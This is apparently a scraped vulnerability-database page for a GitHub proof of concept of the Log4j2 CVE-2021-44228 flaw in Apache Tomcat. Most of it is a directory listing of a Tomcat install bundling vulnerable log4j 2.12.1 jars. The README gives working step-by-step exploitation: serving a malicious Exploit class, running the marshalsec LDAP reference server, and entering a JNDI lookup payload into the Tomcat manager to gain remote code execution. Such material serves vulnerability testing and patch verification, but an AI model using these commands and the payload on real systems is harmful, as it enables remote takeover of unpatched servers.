关联漏洞
描述
Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat
介绍
# Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat
## Preview

## Setup
### Start tomcat server
```
git clone
cd apache-tomcat-10.0.14/bin
startup.bat
```
### Serve the exploit class
```
cd exploit
py -m http.server 8888
```
```
cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
```
### Attack
Input ${jndi:ldap://127.0.0.1:1389/Exploit} in the field 'XML Configuration file path' inside http://localhost:8080/manager/html manager app
Exploit class is loaded and RCE loaded (Calculator app will be opened)
## Disclaimer
The repo is just a POC done for educational purpose. The repo owner is not responsible for any damages done. As a moral note, Don't be evil.
## References
LDAP exploit https://github.com/mbechler/marshalsec
文件快照
[4.0K] /data/pocs/df873d15e6481cd1818ee031ad867d27f4d36b82
├── [4.0K] apache-tomcat-10.0.14
│ ├── [ 13M] apache-log4j-2.12.1-bin.zip
│ ├── [4.0K] bin
│ │ ├── [ 34K] bootstrap.jar
│ │ ├── [ 16K] catalina.bat
│ │ ├── [ 24K] catalina.sh
│ │ ├── [1.6K] catalina-tasks.xml
│ │ ├── [2.0K] ciphers.bat
│ │ ├── [2.0K] ciphers.sh
│ │ ├── [ 25K] commons-daemon.jar
│ │ ├── [1.9K] configtest.bat
│ │ ├── [1.9K] configtest.sh
│ │ ├── [8.6K] daemon.sh
│ │ ├── [2.0K] digest.bat
│ │ ├── [1.9K] digest.sh
│ │ ├── [3.4K] makebase.bat
│ │ ├── [3.3K] makebase.sh
│ │ ├── [2.0K] migrate.bat
│ │ ├── [1.9K] migrate.sh
│ │ ├── [8.5K] service.bat
│ │ ├── [3.3K] setclasspath.bat
│ │ ├── [3.6K] setclasspath.sh
│ │ ├── [1.9K] shutdown.bat
│ │ ├── [1.9K] shutdown.sh
│ │ ├── [1.9K] startup.bat
│ │ ├── [1.9K] startup.sh
│ │ ├── [2.5M] tcnative-1.dll
│ │ ├── [128K] tomcat10.exe
│ │ ├── [118K] tomcat10w.exe
│ │ ├── [ 46K] tomcat-juli.jar
│ │ ├── [4.4K] tool-wrapper.bat
│ │ ├── [5.4K] tool-wrapper.sh
│ │ ├── [1.9K] version.bat
│ │ └── [1.9K] version.sh
│ ├── [ 19K] BUILDING.txt
│ ├── [4.0K] conf
│ │ ├── [ 13K] catalina.policy
│ │ ├── [7.1K] catalina.properties
│ │ ├── [1.4K] context.xml
│ │ ├── [1.1K] jaspic-providers.xml
│ │ ├── [2.3K] jaspic-providers.xsd
│ │ ├── [4.0K] logging.properties
│ │ ├── [7.2K] server.xml
│ │ ├── [2.7K] tomcat-users.xml
│ │ ├── [2.5K] tomcat-users.xsd
│ │ └── [169K] web.xml
│ ├── [6.1K] CONTRIBUTING.md
│ ├── [4.0K] lib
│ │ ├── [ 13K] annotations-api.jar
│ │ ├── [ 53K] catalina-ant.jar
│ │ ├── [120K] catalina-ha.jar
│ │ ├── [1.6M] catalina.jar
│ │ ├── [ 61K] catalina-ssi.jar
│ │ ├── [ 76K] catalina-storeconfig.jar
│ │ ├── [312K] catalina-tribes.jar
│ │ ├── [3.0M] ecj-4.20.jar
│ │ ├── [ 87K] el-api.jar
│ │ ├── [490K] jakartaee-migration-1.0.0-shaded.jar
│ │ ├── [168K] jasper-el.jar
│ │ ├── [553K] jasper.jar
│ │ ├── [ 27K] jaspic-api.jar
│ │ ├── [ 63K] jsp-api.jar
│ │ ├── [328K] servlet-api.jar
│ │ ├── [ 11K] tomcat-api.jar
│ │ ├── [889K] tomcat-coyote.jar
│ │ ├── [334K] tomcat-dbcp.jar
│ │ ├── [ 67K] tomcat-i18n-cs.jar
│ │ ├── [ 72K] tomcat-i18n-de.jar
│ │ ├── [100K] tomcat-i18n-es.jar
│ │ ├── [162K] tomcat-i18n-fr.jar
│ │ ├── [184K] tomcat-i18n-ja.jar
│ │ ├── [184K] tomcat-i18n-ko.jar
│ │ ├── [ 50K] tomcat-i18n-pt-BR.jar
│ │ ├── [ 46K] tomcat-i18n-ru.jar
│ │ ├── [169K] tomcat-i18n-zh-CN.jar
│ │ ├── [146K] tomcat-jdbc.jar
│ │ ├── [ 37K] tomcat-jni.jar
│ │ ├── [203K] tomcat-util.jar
│ │ ├── [218K] tomcat-util-scan.jar
│ │ ├── [236K] tomcat-websocket.jar
│ │ └── [ 40K] websocket-api.jar
│ ├── [ 59K] LICENSE
│ ├── [4.0K] log4j2
│ │ ├── [4.0K] conf
│ │ │ ├── [2.4K] log4j2-tomcat.properties.bak
│ │ │ └── [3.1K] log4j2-tomcat.xml
│ │ └── [4.0K] lib
│ │ ├── [270K] log4j-api-2.12.1.jar
│ │ ├── [ 15K] log4j-appserver-2.12.1.jar
│ │ └── [1.6M] log4j-core-2.12.1.jar
│ ├── [2.3K] NOTICE
│ ├── [3.3K] README.md
│ ├── [6.7K] RELEASE-NOTES
│ ├── [ 16K] RUNNING.txt
│ ├── [4.0K] webapps
│ │ ├── [4.0K] docs
│ │ │ ├── [6.8K] aio.html
│ │ │ ├── [4.0K] annotationapi
│ │ │ │ └── [1.1K] index.html
│ │ │ ├── [4.0K] api
│ │ │ │ └── [1.1K] index.html
│ │ │ ├── [4.0K] appdev
│ │ │ │ ├── [ 16K] build.xml.txt
│ │ │ │ ├── [ 13K] deployment.html
│ │ │ │ ├── [3.8K] index.html
│ │ │ │ ├── [4.7K] installation.html
│ │ │ │ ├── [4.5K] introduction.html
│ │ │ │ ├── [ 14K] processes.html
│ │ │ │ ├── [4.0K] sample
│ │ │ │ │ ├── [ 16K] build.xml
│ │ │ │ │ ├── [4.0K] docs
│ │ │ │ │ │ └── [ 840] README.txt
│ │ │ │ │ ├── [2.2K] index.html
│ │ │ │ │ ├── [4.5K] sample.war
│ │ │ │ │ ├── [4.0K] src
│ │ │ │ │ │ └── [4.0K] mypackage
│ │ │ │ │ │ └── [2.9K] Hello.java
│ │ │ │ │ └── [4.0K] web
│ │ │ │ │ ├── [1.2K] hello.jsp
│ │ │ │ │ ├── [4.0K] images
│ │ │ │ │ │ └── [2.0K] tomcat.gif
│ │ │ │ │ ├── [1.4K] index.html
│ │ │ │ │ └── [4.0K] WEB-INF
│ │ │ │ │ └── [1.6K] web.xml
│ │ │ │ ├── [ 17K] source.html
│ │ │ │ └── [6.1K] web.xml.txt
│ │ │ ├── [ 11K] apr.html
│ │ │ ├── [4.0K] architecture
│ │ │ │ ├── [2.8K] index.html
│ │ │ │ ├── [5.8K] overview.html
│ │ │ │ ├── [4.0K] requestProcess
│ │ │ │ │ ├── [ 42K] authentication-process.png
│ │ │ │ │ └── [107K] request-process.png
│ │ │ │ ├── [2.8K] requestProcess.html
│ │ │ │ ├── [4.0K] startup
│ │ │ │ │ ├── [ 45K] serverStartup.pdf
│ │ │ │ │ └── [8.3K] serverStartup.txt
│ │ │ │ └── [2.7K] startup.html
│ │ │ ├── [5.4K] balancer-howto.html
│ │ │ ├── [ 13K] building.html
│ │ │ ├── [ 19K] BUILDING.txt
│ │ │ ├── [ 11K] cdi.html
│ │ │ ├── [ 11K] cgi-howto.html
│ │ │ ├── [175K] changelog.html
│ │ │ ├── [ 17K] class-loader-howto.html
│ │ │ ├── [ 42K] cluster-howto.html
│ │ │ ├── [7.9K] comments.html
│ │ │ ├── [4.0K] config
│ │ │ │ ├── [ 47K] ajp.html
│ │ │ │ ├── [ 20K] automatic-deployment.html
│ │ │ │ ├── [9.2K] cluster-channel.html
│ │ │ │ ├── [7.2K] cluster-deployer.html
│ │ │ │ ├── [ 14K] cluster.html
│ │ │ │ ├── [ 23K] cluster-interceptor.html
│ │ │ │ ├── [4.9K] cluster-listener.html
│ │ │ │ ├── [ 20K] cluster-manager.html
│ │ │ │ ├── [ 19K] cluster-membership.html
│ │ │ │ ├── [ 12K] cluster-receiver.html
│ │ │ │ ├── [ 12K] cluster-sender.html
│ │ │ │ ├── [ 12K] cluster-valve.html
│ │ │ │ ├── [ 76K] context.html
│ │ │ │ ├── [ 12K] cookie-processor.html
│ │ │ │ ├── [ 12K] credentialhandler.html
│ │ │ │ ├── [ 14K] engine.html
│ │ │ │ ├── [8.4K] executor.html
│ │ │ │ ├── [ 91K] filter.html
│ │ │ │ ├── [ 15K] globalresources.html
│ │ │ │ ├── [ 37K] host.html
│ │ │ │ ├── [ 13K] http2.html
│ │ │ │ ├── [ 93K] http.html
│ │ │ │ ├── [6.7K] index.html
│ │ │ │ ├── [ 10K] jar-scan-filter.html
│ │ │ │ ├── [8.4K] jar-scanner.html
│ │ │ │ ├── [ 11K] jaspic.html
│ │ │ │ ├── [ 31K] listeners.html
│ │ │ │ ├── [8.3K] loader.html
│ │ │ │ ├── [ 32K] manager.html
│ │ │ │ ├── [ 59K] realm.html
│ │ │ │ ├── [ 19K] resources.html
│ │ │ │ ├── [8.6K] server.html
│ │ │ │ ├── [6.9K] service.html
│ │ │ │ ├── [7.6K] sessionidgenerator.html
│ │ │ │ ├── [ 24K] systemprops.html
│ │ │ │ └── [127K] valve.html
│ │ │ ├── [6.5K] connectors.html
│ │ │ ├── [ 18K] default-servlet.html
│ │ │ ├── [ 20K] deployer-howto.html
│ │ │ ├── [6.4K] developers.html
│ │ │ ├── [4.0K] elapi
│ │ │ │ └── [1.1K] index.html
│ │ │ ├── [ 12K] graal.html
│ │ │ ├── [ 14K] host-manager-howto.html
│ │ │ ├── [ 12K] html-host-manager-howto.html
│ │ │ ├── [ 27K] html-manager-howto.html
│ │ │ ├── [4.0K] images
│ │ │ │ ├── [1.0K] add.gif
│ │ │ │ ├── [ 20K] asf-logo.svg
│ │ │ │ ├── [ 394] code.gif
│ │ │ │ ├── [ 85K] cors-flowchart.png
│ │ │ │ ├── [ 608] design.gif
│ │ │ │ ├── [ 261] docs.gif
│ │ │ │ ├── [5.6K] docs-stylesheet.css
│ │ │ │ ├── [ 345] fix.gif
│ │ │ │ ├── [4.0K] fonts
│ │ │ │ │ ├── [1.9K] fonts.css
│ │ │ │ │ ├── [ 21K] OpenSans400italic.woff
│ │ │ │ │ ├── [ 21K] OpenSans400.woff
│ │ │ │ │ ├── [ 21K] OpenSans600italic.woff
│ │ │ │ │ ├── [ 22K] OpenSans600.woff
│ │ │ │ │ ├── [ 21K] OpenSans700italic.woff
│ │ │ │ │ └── [ 22K] OpenSans700.woff
│ │ │ │ ├── [2.0K] tomcat.gif
│ │ │ │ ├── [5.0K] tomcat.png
│ │ │ │ ├── [ 627] update.gif
│ │ │ │ └── [ 43] void.gif
│ │ │ ├── [ 14K] index.html
│ │ │ ├── [ 15K] introduction.html
│ │ │ ├── [ 27K] jasper-howto.html
│ │ │ ├── [4.0K] jaspicapi
│ │ │ │ └── [1.1K] index.html
│ │ │ ├── [ 64K] jdbc-pool.html
│ │ │ ├── [ 33K] jndi-datasource-examples-howto.html
│ │ │ ├── [ 59K] jndi-resources-howto.html
│ │ │ ├── [4.0K] jspapi
│ │ │ │ └── [1.1K] index.html
│ │ │ ├── [ 23K] logging.html
│ │ │ ├── [ 73K] manager-howto.html
│ │ │ ├── [5.9K] maven-jars.html
│ │ │ ├── [ 11K] mbeans-descriptors.dtd
│ │ │ ├── [6.2K] mbeans-descriptors-howto.html
│ │ │ ├── [ 37K] monitoring.html
│ │ │ ├── [ 11K] proxy-howto.html
│ │ │ ├── [ 55K] realm-howto.html
│ │ │ ├── [6.7K] RELEASE-NOTES.txt
│ │ │ ├── [ 36K] rewrite.html
│ │ │ ├── [ 16K] RUNNING.txt
│ │ │ ├── [ 35K] security-howto.html
│ │ │ ├── [ 27K] security-manager-howto.html
│ │ │ ├── [4.0K] servletapi
│ │ │ │ └── [1.1K] index.html
│ │ │ ├── [ 12K] setup.html
│ │ │ ├── [ 18K] ssi-howto.html
│ │ │ ├── [ 40K] ssl-howto.html
│ │ │ ├── [4.0K] tribes
│ │ │ │ ├── [2.2K] developers.html
│ │ │ │ ├── [2.2K] faq.html
│ │ │ │ ├── [2.2K] interceptors.html
│ │ │ │ ├── [ 16K] introduction.html
│ │ │ │ ├── [2.2K] membership.html
│ │ │ │ ├── [2.2K] setup.html
│ │ │ │ ├── [2.2K] status.html
│ │ │ │ └── [2.2K] transport.html
│ │ │ ├── [9.8K] virtual-hosting-howto.html
│ │ │ ├── [4.0K] WEB-INF
│ │ │ │ └── [1.2K] web.xml
│ │ │ ├── [4.0K] websocketapi
│ │ │ │ └── [1.1K] index.html
│ │ │ ├── [ 11K] web-socket-howto.html
│ │ │ ├── [ 20K] windows-auth-howto.html
│ │ │ └── [ 21K] windows-service-howto.html
│ │ ├── [4.0K] examples
│ │ │ ├── [1.1K] index.html
│ │ │ ├── [4.0K] jsp
│ │ │ │ ├── [4.0K] async
│ │ │ │ │ ├── [1.2K] async1.jsp
│ │ │ │ │ ├── [1.3K] async1.jsp.html
│ │ │ │ │ ├── [1.1K] async3.jsp
│ │ │ │ │ ├── [1.2K] async3.jsp.html
│ │ │ │ │ ├── [2.4K] index.jsp
│ │ │ │ │ └── [2.5K] index.jsp.html
│ │ │ │ ├── [4.0K] cal
│ │ │ │ │ ├── [2.3K] cal1.jsp
│ │ │ │ │ ├── [2.6K] cal1.jsp.html
│ │ │ │ │ ├── [1.5K] cal2.jsp
│ │ │ │ │ ├── [1.7K] cal2.jsp.html
│ │ │ │ │ ├── [1.6K] calendar.html
│ │ │ │ │ ├── [2.0K] Entries.java.html
│ │ │ │ │ ├── [1.5K] Entry.java.html
│ │ │ │ │ ├── [4.0K] JspCalendar.java.html
│ │ │ │ │ ├── [1.5K] login.html
│ │ │ │ │ └── [3.0K] TableBean.java.html
│ │ │ │ ├── [4.0K] checkbox
│ │ │ │ │ ├── [1.2K] check.html
│ │ │ │ │ ├── [1.6K] checkresult.jsp
│ │ │ │ │ ├── [1.8K] checkresult.jsp.html
│ │ │ │ │ ├── [1.4K] CheckTest.html
│ │ │ │ │ └── [1.4K] cresult.html
│ │ │ │ ├── [4.0K] colors
│ │ │ │ │ ├── [1.4K] clr.html
│ │ │ │ │ ├── [2.4K] ColorGameBean.html
│ │ │ │ │ ├── [1.5K] colors.html
│ │ │ │ │ ├── [1.6K] colrs.jsp
│ │ │ │ │ └── [1.9K] colrs.jsp.html
│ │ │ │ ├── [4.0K] dates
│ │ │ │ │ ├── [1.3K] date.html
│ │ │ │ │ ├── [1.7K] date.jsp
│ │ │ │ │ └── [1.9K] date.jsp.html
│ │ │ │ ├── [4.0K] error
│ │ │ │ │ ├── [1.3K] er.html
│ │ │ │ │ ├── [1.4K] err.jsp
│ │ │ │ │ ├── [1.5K] err.jsp.html
│ │ │ │ │ ├── [1.3K] error.html
│ │ │ │ │ ├── [ 965] errorpge.jsp
│ │ │ │ │ └── [1.1K] errorpge.jsp.html
│ │ │ │ ├── [4.0K] forward
│ │ │ │ │ ├── [1.0K] forward.jsp
│ │ │ │ │ ├── [1.2K] forward.jsp.html
│ │ │ │ │ ├── [1.3K] fwd.html
│ │ │ │ │ ├── [ 872] one.jsp
│ │ │ │ │ ├── [1007] one.jsp.html
│ │ │ │ │ └── [ 871] two.html
│ │ │ │ ├── [4.0K] images
│ │ │ │ │ ├── [ 292] code.gif
│ │ │ │ │ ├── [1.2K] execute.gif
│ │ │ │ │ └── [1.2K] return.gif
│ │ │ │ ├── [4.0K] include
│ │ │ │ │ ├── [ 817] foo.html
│ │ │ │ │ ├── [ 822] foo.jsp
│ │ │ │ │ ├── [ 943] foo.jsp.html
│ │ │ │ │ ├── [1.3K] inc.html
│ │ │ │ │ ├── [1.1K] include.jsp
│ │ │ │ │ └── [1.2K] include.jsp.html
│ │ │ │ ├── [ 14K] index.html
│ │ │ │ ├── [4.0K] jsp2
│ │ │ │ │ ├── [4.0K] el
│ │ │ │ │ │ ├── [1.3K] basic-arithmetic.html
│ │ │ │ │ │ ├── [2.3K] basic-arithmetic.jsp
│ │ │ │ │ │ ├── [2.7K] basic-arithmetic.jsp.html
│ │ │ │ │ │ ├── [1.3K] basic-comparisons.html
│ │ │ │ │ │ ├── [3.1K] basic-comparisons.jsp
│ │ │ │ │ │ ├── [3.7K] basic-comparisons.jsp.html
│ │ │ │ │ │ ├── [1.4K] composite.html
│ │ │ │ │ │ ├── [3.9K] composite.jsp
│ │ │ │ │ │ ├── [4.5K] composite.jsp.html
│ │ │ │ │ │ ├── [1.4K] functions.html
│ │ │ │ │ │ ├── [1.6K] Functions.java.html
│ │ │ │ │ │ ├── [2.4K] functions.jsp
│ │ │ │ │ │ ├── [2.7K] functions.jsp.html
│ │ │ │ │ │ ├── [1.3K] implicit-objects.html
│ │ │ │ │ │ ├── [3.4K] implicit-objects.jsp
│ │ │ │ │ │ ├── [3.8K] implicit-objects.jsp.html
│ │ │ │ │ │ ├── [1.5K] ValuesBean.java.html
│ │ │ │ │ │ └── [2.6K] ValuesTag.java.html
│ │ │ │ │ ├── [4.0K] jspattribute
│ │ │ │ │ │ ├── [1.1K] FooBean.java.html
│ │ │ │ │ │ ├── [1.3K] HelloWorldSimpleTag.java.html
│ │ │ │ │ │ ├── [1.5K] jspattribute.html
│ │ │ │ │ │ ├── [1.8K] jspattribute.jsp
│ │ │ │ │ │ ├── [2.0K] jspattribute.jsp.html
│ │ │ │ │ │ ├── [1.5K] shuffle.html
│ │ │ │ │ │ ├── [3.4K] shuffle.jsp
│ │ │ │ │ │ ├── [3.7K] shuffle.jsp.html
│ │ │ │ │ │ ├── [2.9K] ShuffleSimpleTag.java.html
│ │ │ │ │ │ └── [1.7K] TileSimpleTag.java.html
│ │ │ │ │ ├── [4.0K] jspx
│ │ │ │ │ │ ├── [1.2K] basic.html
│ │ │ │ │ │ ├── [2.2K] basic.jspx
│ │ │ │ │ │ ├── [2.3K] basic.jspx.html
│ │ │ │ │ │ ├── [2.0K] svgexample.html
│ │ │ │ │ │ ├── [1.2K] textRotate.html
│ │ │ │ │ │ ├── [ 26K] textRotate.jpg
│ │ │ │ │ │ ├── [2.4K] textRotate.jspx
│ │ │ │ │ │ └── [2.6K] textRotate.jspx.html
│ │ │ │ │ ├── [4.0K] misc
│ │ │ │ │ │ ├── [ 864] coda.jspf
│ │ │ │ │ │ ├── [1002] coda.jspf.html
│ │ │ │ │ │ ├── [1.5K] config.html
│ │ │ │ │ │ ├── [1.6K] config.jsp
│ │ │ │ │ │ ├── [1.8K] config.jsp.html
│ │ │ │ │ │ ├── [1.4K] dynamicattrs.html
│ │ │ │ │ │ ├── [1.6K] dynamicattrs.jsp
│ │ │ │ │ │ ├── [1.8K] dynamicattrs.jsp.html
│ │ │ │ │ │ ├── [2.0K] EchoAttributesTag.java.html
│ │ │ │ │ │ ├── [ 867] prelude.jspf
│ │ │ │ │ │ └── [1005] prelude.jspf.html
│ │ │ │ │ ├── [4.0K] simpletag
│ │ │ │ │ │ ├── [1.4K] BookBean.java.html
│ │ │ │ │ │ ├── [1.6K] book.html
│ │ │ │ │ │ ├── [1.8K] book.jsp
│ │ │ │ │ │ ├── [2.1K] book.jsp.html
│ │ │ │ │ │ ├── [1.7K] FindBookSimpleTag.java.html
│ │ │ │ │ │ ├── [1.6K] Functions.java.html
│ │ │ │ │ │ ├── [1.4K] hello.html
│ │ │ │ │ │ ├── [1.2K] hello.jsp
│ │ │ │ │ │ ├── [1.4K] hello.jsp.html
│ │ │ │ │ │ ├── [1.3K] HelloWorldSimpleTag.java.html
│ │ │ │ │ │ ├── [1.4K] repeat.html
│ │ │ │ │ │ ├── [1.7K] repeat.jsp
│ │ │ │ │ │ ├── [1.9K] repeat.jsp.html
│ │ │ │ │ │ └── [1.5K] RepeatSimpleTag.java.html
│ │ │ │ │ └── [4.0K] tagfiles
│ │ │ │ │ ├── [2.2K] displayProducts.tag.html
│ │ │ │ │ ├── [1.4K] hello.html
│ │ │ │ │ ├── [1.4K] hello.jsp
│ │ │ │ │ ├── [1.6K] hello.jsp.html
│ │ │ │ │ ├── [ 919] helloWorld.tag.html
│ │ │ │ │ ├── [1.4K] panel.html
│ │ │ │ │ ├── [2.1K] panel.jsp
│ │ │ │ │ ├── [2.3K] panel.jsp.html
│ │ │ │ │ ├── [1.2K] panel.tag.html
│ │ │ │ │ ├── [1.4K] products.html
│ │ │ │ │ ├── [2.0K] products.jsp
│ │ │ │ │ └── [2.3K] products.jsp.html
│ │ │ │ ├── [4.0K] jsptoserv
│ │ │ │ │ ├── [ 936] hello.jsp
│ │ │ │ │ ├── [1.0K] hello.jsp.html
│ │ │ │ │ ├── [ 894] jsptoservlet.jsp
│ │ │ │ │ ├── [1.0K] jsptoservlet.jsp.html
│ │ │ │ │ ├── [1.3K] jts.html
│ │ │ │ │ └── [1.6K] ServletToJsp.java.html
│ │ │ │ ├── [4.0K] num
│ │ │ │ │ ├── [1.4K] numguess.html
│ │ │ │ │ ├── [1.9K] numguess.jsp
│ │ │ │ │ └── [2.1K] numguess.jsp.html
│ │ │ │ ├── [4.0K] plugin
│ │ │ │ │ ├── [4.0K] applet
│ │ │ │ │ │ ├── [5.7K] Clock2.class
│ │ │ │ │ │ └── [7.6K] Clock2.java
│ │ │ │ │ ├── [1.3K] plugin.html
│ │ │ │ │ ├── [1.2K] plugin.jsp
│ │ │ │ │ └── [1.4K] plugin.jsp.html
│ │ │ │ ├── [4.0K] security
│ │ │ │ │ └── [4.0K] protected
│ │ │ │ │ ├── [1.0K] error.jsp
│ │ │ │ │ ├── [1.2K] error.jsp.html
│ │ │ │ │ ├── [3.1K] index.jsp
│ │ │ │ │ ├── [3.4K] index.jsp.html
│ │ │ │ │ ├── [1.4K] login.jsp
│ │ │ │ │ └── [1.6K] login.jsp.html
│ │ │ │ ├── [4.0K] sessions
│ │ │ │ │ ├── [1.3K] carts.html
│ │ │ │ │ ├── [1.2K] carts.jsp
│ │ │ │ │ ├── [1.4K] carts.jsp.html
│ │ │ │ │ ├── [1.4K] crt.html
│ │ │ │ │ └── [1.4K] DummyCart.html
│ │ │ │ ├── [4.0K] simpletag
│ │ │ │ │ ├── [1.3K] foo.html
│ │ │ │ │ ├── [1.1K] foo.jsp
│ │ │ │ │ └── [1.3K] foo.jsp.html
│ │ │ │ ├── [4.0K] snp
│ │ │ │ │ ├── [1.3K] snoop.html
│ │ │ │ │ ├── [2.0K] snoop.jsp
│ │ │ │ │ └── [2.2K] snoop.jsp.html
│ │ │ │ ├── [4.0K] tagplugin
│ │ │ │ │ ├── [1.2K] choose.html
│ │ │ │ │ ├── [1.6K] choose.jsp
│ │ │ │ │ ├── [1.8K] choose.jsp.html
│ │ │ │ │ ├── [1.2K] foreach.html
│ │ │ │ │ ├── [1.6K] foreach.jsp
│ │ │ │ │ ├── [1.8K] foreach.jsp.html
│ │ │ │ │ ├── [1.6K] howto.html
│ │ │ │ │ ├── [1.2K] if.html
│ │ │ │ │ ├── [1.5K] if.jsp
│ │ │ │ │ ├── [1.7K] if.jsp.html
│ │ │ │ │ └── [1.6K] notes.html
│ │ │ │ └── [4.0K] xml
│ │ │ │ ├── [1.3K] xml.html
│ │ │ │ ├── [2.0K] xml.jsp
│ │ │ │ └── [2.2K] xml.jsp.html
│ │ │ ├── [4.0K] META-INF
│ │ │ │ └── [ 977] context.xml
│ │ │ ├── [4.0K] servlets
│ │ │ │ ├── [2.6K] cookies.html
│ │ │ │ ├── [2.5K] helloworld.html
│ │ │ │ ├── [4.0K] images
│ │ │ │ │ ├── [ 292] code.gif
│ │ │ │ │ ├── [1.2K] execute.gif
│ │ │ │ │ └── [1.2K] return.gif
│ │ │ │ ├── [6.4K] index.html
│ │ │ │ ├── [4.0K] nonblocking
│ │ │ │ │ └── [1.4K] bytecounter.html
│ │ │ │ ├── [2.2K] reqheaders.html
│ │ │ │ ├── [3.5K] reqinfo.html
│ │ │ │ ├── [4.6K] reqparams.html
│ │ │ │ └── [3.1K] sessions.html
│ │ │ ├── [4.0K] WEB-INF
│ │ │ │ ├── [4.0K] classes
│ │ │ │ │ ├── [4.0K] async
│ │ │ │ │ │ ├── [1.8K] Async0$1.class
│ │ │ │ │ │ ├── [2.9K] Async0.class
│ │ │ │ │ │ ├── [2.9K] Async0.java
│ │ │ │ │ │ ├── [1.7K] Async1$1.class
│ │ │ │ │ │ ├── [1.5K] Async1.class
│ │ │ │ │ │ ├── [2.2K] Async1.java
│ │ │ │ │ │ ├── [2.3K] Async2$1.class
│ │ │ │ │ │ ├── [1.5K] Async2.class
│ │ │ │ │ │ ├── [2.6K] Async2.java
│ │ │ │ │ │ ├── [1.0K] Async3.class
│ │ │ │ │ │ ├── [1.4K] Async3.java
│ │ │ │ │ │ ├── [1.2K] AsyncStockContextListener.class
│ │ │ │ │ │ ├── [1.7K] AsyncStockContextListener.java
│ │ │ │ │ │ ├── [5.0K] AsyncStockServlet.class
│ │ │ │ │ │ ├── [4.9K] AsyncStockServlet.java
│ │ │ │ │ │ ├── [2.6K] Stockticker$Stock.class
│ │ │ │ │ │ ├── [ 307] Stockticker$TickListener.class
│ │ │ │ │ │ ├── [3.3K] Stockticker.class
│ │ │ │ │ │ └── [6.5K] Stockticker.java
│ │ │ │ │ ├── [4.0K] cal
│ │ │ │ │ │ ├── [2.0K] Entries.class
│ │ │ │ │ │ ├── [1.9K] Entries.java
│ │ │ │ │ │ ├── [ 911] Entry.class
│ │ │ │ │ │ ├── [1.4K] Entry.java
│ │ │ │ │ │ ├── [3.4K] JspCalendar.class
│ │ │ │ │ │ ├── [3.9K] JspCalendar.java
│ │ │ │ │ │ ├── [2.5K] TableBean.class
│ │ │ │ │ │ └── [2.9K] TableBean.java
│ │ │ │ │ ├── [4.0K] checkbox
│ │ │ │ │ │ ├── [ 604] CheckTest.class
│ │ │ │ │ │ └── [1013] CheckTest.java
│ │ │ │ │ ├── [4.0K] colors
│ │ │ │ │ │ ├── [2.1K] ColorGameBean.class
│ │ │ │ │ │ └── [2.9K] ColorGameBean.java
│ │ │ │ │ ├── [4.0K] compressionFilters
│ │ │ │ │ │ ├── [4.9K] CompressionFilter.class
│ │ │ │ │ │ ├── [7.9K] CompressionFilter.java
│ │ │ │ │ │ ├── [2.0K] CompressionFilterTestServlet.class
│ │ │ │ │ │ ├── [2.3K] CompressionFilterTestServlet.java
│ │ │ │ │ │ ├── [6.5K] CompressionResponseStream.class
│ │ │ │ │ │ ├── [ 13K] CompressionResponseStream.java
│ │ │ │ │ │ ├── [5.2K] CompressionServletResponseWrapper.class
│ │ │ │ │ │ └── [8.3K] CompressionServletResponseWrapper.java
│ │ │ │ │ ├── [4.4K] CookieExample.class
│ │ │ │ │ ├── [5.0K] CookieExample.java
│ │ │ │ │ ├── [4.0K] dates
│ │ │ │ │ │ ├── [4.0K] JspCalendar.class
│ │ │ │ │ │ └── [4.1K] JspCalendar.java
│ │ │ │ │ ├── [4.0K] error
│ │ │ │ │ │ ├── [ 521] Smart.class
│ │ │ │ │ │ └── [ 997] Smart.java
│ │ │ │ │ ├── [4.0K] examples
│ │ │ │ │ │ ├── [1.4K] ExampleTagBase.class
│ │ │ │ │ │ ├── [2.0K] ExampleTagBase.java
│ │ │ │ │ │ ├── [2.0K] FooTag.class
│ │ │ │ │ │ ├── [ 668] FooTagExtraInfo.class
│ │ │ │ │ │ ├── [1.3K] FooTagExtraInfo.java
│ │ │ │ │ │ ├── [2.3K] FooTag.java
│ │ │ │ │ │ ├── [1.6K] LogTag.class
│ │ │ │ │ │ ├── [1.8K] LogTag.java
│ │ │ │ │ │ ├── [2.0K] ValuesTag.class
│ │ │ │ │ │ └── [2.5K] ValuesTag.java
│ │ │ │ │ ├── [4.0K] filters
│ │ │ │ │ │ ├── [2.0K] ExampleFilter.class
│ │ │ │ │ │ └── [3.2K] ExampleFilter.java
│ │ │ │ │ ├── [2.2K] HelloWorldExample.class
│ │ │ │ │ ├── [2.8K] HelloWorldExample.java
│ │ │ │ │ ├── [4.0K] http2
│ │ │ │ │ │ ├── [2.0K] SimpleImagePush.class
│ │ │ │ │ │ └── [2.2K] SimpleImagePush.java
│ │ │ │ │ ├── [4.0K] jsp2
│ │ │ │ │ │ └── [4.0K] examples
│ │ │ │ │ │ ├── [ 736] BookBean.class
│ │ │ │ │ │ ├── [1.3K] BookBean.java
│ │ │ │ │ │ ├── [4.0K] el
│ │ │ │ │ │ │ ├── [1.1K] Functions.class
│ │ │ │ │ │ │ └── [1.5K] Functions.java
│ │ │ │ │ │ ├── [ 554] FooBean.class
│ │ │ │ │ │ ├── [1.0K] FooBean.java
│ │ │ │ │ │ ├── [4.0K] simpletag
│ │ │ │ │ │ │ ├── [1.9K] EchoAttributesTag.class
│ │ │ │ │ │ │ ├── [1.9K] EchoAttributesTag.java
│ │ │ │ │ │ │ ├── [1.1K] FindBookSimpleTag.class
│ │ │ │ │ │ │ ├── [1.6K] FindBookSimpleTag.java
│ │ │ │ │ │ │ ├── [ 776] HelloWorldSimpleTag.class
│ │ │ │ │ │ │ ├── [1.2K] HelloWorldSimpleTag.java
│ │ │ │ │ │ │ ├── [1.1K] RepeatSimpleTag.class
│ │ │ │ │ │ │ ├── [1.4K] RepeatSimpleTag.java
│ │ │ │ │ │ │ ├── [1.5K] ShuffleSimpleTag.class
│ │ │ │ │ │ │ ├── [2.8K] ShuffleSimpleTag.java
│ │ │ │ │ │ │ ├── [1.2K] TileSimpleTag.class
│ │ │ │ │ │ │ └── [1.5K] TileSimpleTag.java
│ │ │ │ │ │ ├── [ 983] ValuesBean.class
│ │ │ │ │ │ └── [1.4K] ValuesBean.java
│ │ │ │ │ ├── [4.0K] listeners
│ │ │ │ │ │ ├── [2.2K] ContextListener.class
│ │ │ │ │ │ ├── [3.7K] ContextListener.java
│ │ │ │ │ │ ├── [2.8K] SessionListener.class
│ │ │ │ │ │ └── [4.6K] SessionListener.java
